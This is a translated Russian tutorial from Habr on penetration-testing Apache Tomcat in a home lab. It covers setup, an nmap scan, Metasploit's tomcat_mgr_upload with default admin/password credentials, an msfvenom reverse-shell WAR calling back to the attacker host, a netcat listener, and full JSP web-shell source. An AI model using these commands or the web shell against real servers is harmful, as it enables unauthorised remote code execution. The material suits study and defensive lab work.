[Перевод] Тестирование на проникновение: Tomcat

При тестировании на проникновение крайне важно обращать внимание на наличие Apache Tomcat — одного из самых популярных веб-серверов. Изначально Apache Software Foundation разработала Tomcat как платформу для демонстрации технологий Java Servlet и JavaServer Pages (JSP), которые служат основой для Java веб-приложений. Со временем, Tomcat расширил свои возможности, чтобы поддерживать дополнительные Java веб-технологии.

Кроме того, одной из заметных особенностей Tomcat является поддержка развертывания веб-приложений с помощью файлов WAR (Web Application Archive). Эти файлы содержат в себе все компоненты веб-приложения — код, страницы и другие файлы, что значительно упрощает процесс развертывания. Tomcat позволяет пользователям загружать и запускать эти WAR-файлы, предоставляя возможность размещать свои приложения в интернете.

Помимо WAR-файлов, Tomcat также поддерживает развертывание JSP-страниц. JSP — это технология, позволяющая разработчикам создавать динамические веб-страницы с использованием Java. Tomcat способен выполнять эти JSP-страницы, что делает его универсальной платформой для хостинга самых разных веб-приложений.

По умолчанию Tomcat поддерживает использование WAR-файлов и JSP-страниц. Однако администраторы могут настраивать параметры для обеспечения безопасности и контроля над загрузками файлов, тем самым повышая общую защищённость сервера.

Оглавление

— Настройка лаборатории

— Установка

— Конфигурация

— Enumeration

— Эксплуатация с использованием Metasploit Framework

— Ручная эксплуатация (Reverse shell)

— Ручная эксплуатация (Web shell)

— Заключение

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер

Настройка лаборатории

В этой статье мы настроим сервер Tomcat на машине с Ubuntu и проэксплуатируем уязвимость загрузки файлов. Используемые машины:

Целевая машина: Ubuntu (192.168.1.5)  

Машина атакующего: Kali Linux (192.168.1.7)

Установка

Apache Tomcat требует установленного Java, поэтому на сервере вам нужно установить Java JDK. Для установки используйте следующую команду:

apt install openjdk-11-jdk

f74f87ef53706505e3076784bd7eee86.png

Добавьте нового пользователя с именем tomcat с помощью следующей команды:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

5244b46bc79b8bebb97ea5074cd0e28c.png

Скачайте файл Tomcat в формате tar.gz с официального сайта.

64f56461eb14f0989613f4d33b4cd2ab.png

Скачайте последнюю версию с сайта на машину с Ubuntu и распакуйте загруженные файлы.

wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz

tar -xvf apache-tomcat-10.1.20.tar.gz

aed69e9495aeb38dad405ee20cd4e3cf.png

Переместите извлечённую папку в директорию /opt/tomcat, дайте права владельца пользователю tomcat и установите права на выполнение для файлов.

mv apache-tomcat-10.1.20/* /opt/tomcat

chown -R tomcat: /opt/tomcat

sh -c 'chmod +x /opt/tomcat/bin/*.sh '

3c031287bee4f663c7c44045a71daad9.png

Создайте файл tomcat.service в директории /etc/systemd/system/ и добавьте в него следующее содержимое:

[Unit]

Description=Apache Tomcat

After=network.target

[Service]

Type=forking

User=tomcat

Group=tomcat

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64

Environment=CATALINA_PID=/opt/tomcat/tomcat.pid

Environment=CATALINA_HOME=/opt/tomcat

Environment=CATALINA_BASE=/opt/tomcat

Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

ExecStart=/opt/tomcat/bin/startup.sh

ExecStop=/opt/tomcat/bin/shutdown.sh

ExecReload=/bin/kill $MAINPID

RemainAfterExit=yes

[Install]

WantedBy=multi-user.target

8a0a6d3347732c0c359f314c4e7b3da0.png

Перезагрузите демон systemd, чтобы применить изменения, с помощью следующей команды

systemctl daemon-reload

Также включите сервис tomcat, чтобы он запускался автоматически при перезагрузке системы

systemctl enable --now tomcat

Проверьте статус сервера tomcat:

systemctl status tomcat

1ea8605302c89f66dae07440e8320517.png

Конфигурация

После завершения установки необходимо произвести настройку сервера Tomcat.

Чтобы создать пароль администратора, внесите изменения в следующий файл:   

nano /opt/tomcat/conf/tomcat-users.xml

Добавьте следующий код перед строкой :

33acaccd4cfaa1a89fb9e25fccd74e0a.png

Чтобы включить удалённый доступ к Tomcat Manager, внесите следующие изменения в файл context.xml, который находится в директории manager и host-manager.

nano /opt/tomcat/webapps/manager/META-INF/context.xml  

nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

Удалите следующую строку из обоих файлов, как показано ниже:

299e31688f8557d93497f463ad6cd97d.png

После внесения изменений перезапустите сервис tomcat в Ubuntu.

systemctl restart tomcat

f89e822c5acabb433fab48e61f36cbcf.png

Убедитесь, что сервер Tomcat запущен и работает на машине с Ubuntu на порту 8080.

e7d6f5ad32470dcb6b62be211c867619.png

Enumeration

Используя Kali Linux в качестве машины атакующего, Enumeration можно выполнить с помощью nmap.

nmap -p 8080 -sV 192.168.1.5

67af3a3fed8b2c11e6d8bb26e3b5ebad.png

Эксплуатация с использованием Metasploit Framework

Попробуем эксплойт из Metasploit. В данном случае используется exploit/multi/http/tomcat_mgr_upload.

Внутри Metasploit введите следующие команды для запуска эксплойта:

use exploit/multi/http/tomcat_mgr_upload

set rhosts 192.168.1.5

set report 8080

set httpusername admin

set httppassword password

show targets

set target 2

set payload linux/x86/meterpreter_reverse_tcp

exploit

746e2373cc14d33aa96b492bbbff569e.png

Видим, что нам удалось получить реверс-шелл, и мы можем выполнять команды через оболочку meterpreter.

Эксплуатация вручную (Reverse Shell)

Кроме того, злоумышленники могут выполнить вышеописанную процедуру эксплуатации вручную. Для этого им сначала нужно создать файл .war с помощью msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

77d0b9a98c964c7a8d01996a039baddf.png

Далее, после создания файла shell.war, злоумышленники должны загрузить его в приложение Tomcat Manager.

Для доступа к Manager App пользователю необходимо пройти базовую аутентификацию. Обычно чтобы получить доступ к приложению Tomcat manager, в качестве имени пользователя используется admin, а пароль — password.

08f090f1cb6c0cfae0f9306615981d87.png

После входа в систему они могут загрузить ранее созданный файл shell.war с помощью функции развертывания WAR-файлов.

5c15272619feab2768f01b37a36d013d.png

После загрузки файла его можно увидеть в разделе загруженных файлов.

7c58c9773b9259f8d7016d4e3d972fa9.png

Перед выполнением загруженного файла запустите netcat-листенер на 1234 порту:

rlwrap nc -lvnp 1234

Затем нажмите на /shell, чтобы запустить файл и получить обратную оболочку.

96d753dfdfe7654a5471c527cbed72ec.png

Reverse shell будет получен на порту 1234.


f2066ae6e7e295c46bed026104ba51b7.png

Эксплуатация вручную Web Shell

Для получения веб-оболочки злоумышленники могут использовать .war-файл, который содержит .jsp-файлы. После загрузки .war-файла на сервер появляется доступ к webshell.

Чтобы создать .war-файл, содержащий .jsp-файлы, пользователи должны установить Java на Kali Linux.

apt install openjdk-11-jdk

4f3d5cbd83cae791e96b77d5ae8c3abe.png

Теперь создайте директорию webshell, в которую мы поместим файл index.jsp.

mkdir webshell  

cd webshell  

nano index.jsp

77986649bdc8cc25c3f63e17da0a0c4c.png

Скопируйте следующий код в файл index.jsp для веб-шелла.

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd,null,null);

         BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) { output += s+"
"; }

      }  catch(IOException e) {   e.printStackTrace();   }

   }

%>

<%=output %>

20de8c6054feadf488bb448682ffdc70.png

После создания файла index.jsp можно создать пакет, преобразовав директорию в файл .war.

jar -cvf ../webshell.war *

9e24fcbbd7cc2985d66e8fc0c2b5be4c.png

После создания файла webshell.war загрузите его с помощью функции деплоя.

a9bab59417f6d3b7b3f9fbd1789ef1db.png

Страницу index.jsp можно открыть в загруженной директории webshell, и таким образом получить вебшелл.

146e84ee8ccce4b218c99e80fcb7edf5.png

Альтернативный способ выполнить вышеописанную ручную эксплуатацию — скачать файл cmd.jsp и создать архив webshell.war с помощью zip.

Файл webshell jsp можно скачать здесь!

84fce7588e08a0fd4a97ed419d6f3aba.png

После того как файл cmd.jsp будет скачан, файл revshell.war можно создать с помощью следующей команды

zip -r revshell.war cmd.jsp

61124a0161b5e3d89bf60ec5be8e571d.png

Снова повторим ту же процедуру, что обсуждалась ранее. Загрузим файл revshell.war через функцию развертывания. Веб-оболочка доступна после перехода по адресу

adbb8d98bed8681c0f8f239185c6218a.png

Заключение

По сути, Apache Tomcat по-прежнему остается предпочтительным выбором для развертывания Java-веб-приложений, предлагая сочетание универсальности и безопасности, которое отвечает разнообразным требованиям как разработчиков, так и администраторов. Тем не менее, из-за неправильных настроек злоумышленники могут злоупотреблять сервером и выполнять нежелательные действия, такие как удаленное выполнение кода.

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер

Habrahabr.ru прочитано 31319 раз